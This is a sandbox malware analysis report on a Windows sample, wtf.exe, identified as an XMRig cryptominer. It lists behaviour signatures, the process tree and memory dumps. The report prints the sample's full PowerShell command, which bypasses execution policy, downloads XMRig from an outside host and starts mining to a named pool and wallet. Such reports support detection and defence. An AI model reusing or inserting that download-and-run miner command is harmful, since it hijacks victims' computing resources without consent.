Analysis
- max time kernel
899s - max time network
891s - platform
windows11-21h2_x64 - resource
win11-20260130-en - resource tags
- submitted
02/05/2026, 04:28
General
- Target wtf.exe
- Size 235KB
- Sample260502-e367yacz5m
- SHA256 7bd1f50b832af076880678fb70cada1061c911992aa7339b5693a0c194e3b5e5
Malware Config
Signatures
- Family: xmrig
XMRig is a high performance, open source, cross platform CPU/GPU miner.
- XMRig Miner payload 2 IoCs
- Badlisted process makes network request 2 IoCs
Network request originating from process or tool commonly abused by malware.
- Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs
Powershell Invoke Web Request.
- Executes dropped EXE 1 IoCs
- Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
- Suspicious behavior: EnumeratesProcesses 3 IoCs
- Suspicious use of AdjustPrivilegeToken 3 IoCs
- Suspicious use of FindShellTrayWindow 1 IoCs
- Suspicious use of WriteProcessMemory 2 IoCs
Processes
-
C:\Users\Admin\AppData\Local\Temp\wtf.exe"C:\Users\Admin\AppData\Local\Temp\wtf.exe"1⤵
- Suspicious use of WriteProcessMemory
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -NoProfile -ExecutionPolicy Bypass -NoExit -Command "$ErrorActionPreference = 'Stop'; $d = Join-Path $env:TEMP 'x'; if (!(Test-Path $d)) { New-Item -ItemType Directory -Path $d -Force }; Stop-Process -Name 'xmrig' -ErrorAction SilentlyContinue; Write-Host '1. Dang kiem tra file...' -ForegroundColor Cyan; $zipPath = Join-Path $d 'x.zip'; if (!(Test-Path $zipPath)) { Write-Host '2. Dang tai file (co the mat 1-2 phut)...' -ForegroundColor Yellow; [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12; Invoke-WebRequest -Uri 'https://github.com/xmrig/xmrig/releases/download/v6.21.0/xmrig-6.21.0-msvc-win64.zip' -OutFile $zipPath; } Write-Host '3. Dang giai nen...' -ForegroundColor Yellow; Expand-Archive -Path $zipPath -DestinationPath $d -Force; $exe = Get-ChildItem -Path $d -Recurse -Filter 'xmrig.exe' | Select-Object -First 1; if ($exe) { Write-Host '4. Khoi chay dao...' -ForegroundColor Green; Start-Process $exe.FullName -ArgumentList '-o pool.hashvault.pro:443 -u 44VTHpmFucsULkgscKcU9zf3R73t4YamM3cW9gf7V51GN3TMJQzGxkNYCd9myzDtxqDyTwyegnYgzjjY6fi5HLC81JRYaZr -p bens -k --tls --cpu-max-threads-hint 100 --donate-level 1' -WorkingDirectory $exe.DirectoryName; } else { Write-Host 'Khong tim thay xmrig.exe' }"2⤵
- Badlisted process makes network request
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
-
C:\Users\Admin\AppData\Local\Temp\x\xmrig-6.21.0\xmrig.exe"C:\Users\Admin\AppData\Local\Temp\x\xmrig-6.21.0\xmrig.exe" -o pool.hashvault.pro:443 -u 44VTHpmFucsULkgscKcU9zf3R73t4YamM3cW9gf7V51GN3TMJQzGxkNYCd9myzDtxqDyTwyegnYgzjjY6fi5HLC81JRYaZr -p bens -k --tls --cpu-max-threads-hint 100 --donate-level 13⤵
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of FindShellTrayWindow
-
-
Network
MITRE ATT&CK Enterprise v16
Replay Monitor
Loading Replay Monitor...
Downloads
__PSScriptPolicyTest_v0jh5yea.tiq.ps1
xmrig.exe
memory/3076-0-0x00007FF6E2010000-0x00007FF6E2052000-memory.dmp
memory/3076-1-0x000002A88A550000-0x000002A88A63A000-memory.dmp
memory/5452-69-0x0000020507A80000-0x0000020507B6A000-memory.dmp
memory/5452-63-0x0000020507960000-0x0000020507980000-memory.dmp
memory/6072-28-0x00000167F9950000-0x00000167F9962000-memory.dmp
memory/6072-52-0x00000167E1140000-0x00000167E1150000-memory.dmp
memory/6072-17-0x00000167E1140000-0x00000167E1150000-memory.dmp
memory/6072-18-0x00007FF4CAC30000-0x00007FF4CAC40000-memory.dmp
memory/6072-16-0x00000167E1140000-0x00000167E1150000-memory.dmp
memory/6072-25-0x00000167F9950000-0x00000167F996C000-memory.dmp
memory/6072-26-0x00000167F99C0000-0x00000167F9A73000-memory.dmp
memory/6072-27-0x00000167F9940000-0x00000167F994A000-memory.dmp
memory/6072-13-0x00000167E1140000-0x00000167E1150000-memory.dmp
memory/6072-29-0x00000167F9A80000-0x00000167F9A8A000-memory.dmp
memory/6072-51-0x00000167E1140000-0x00000167E1150000-memory.dmp
memory/6072-14-0x00000167F9970000-0x00000167F99B6000-memory.dmp
memory/6072-12-0x00000167F9460000-0x00000167F9482000-memory.dmp
memory/6072-5-0x00000167E1140000-0x00000167E1150000-memory.dmp
memory/6072-65-0x00000167E0CE0000-0x00000167E0CEC000-memory.dmp
memory/6072-66-0x00000167E1120000-0x00000167E1132000-memory.dmp
memory/6072-64-0x00000167E0BC0000-0x00000167E0CAA000-memory.dmp
memory/6072-68-0x00007FF4CAC30000-0x00007FF4CAC40000-memory.dmp
memory/6072-70-0x00000167E1140000-0x00000167E1150000-memory.dmp
memory/6072-4-0x00000167E1140000-0x00000167E1150000-memory.dmp
memory/6072-80-0x00000167E0BC0000-0x00000167E0CAA000-memory.dmp
memory/6072-187-0x00000167E0BC0000-0x00000167E0CAA000-memory.dmp
memory/6072-304-0x00000167E0BC0000-0x00000167E0CAA000-memory.dmp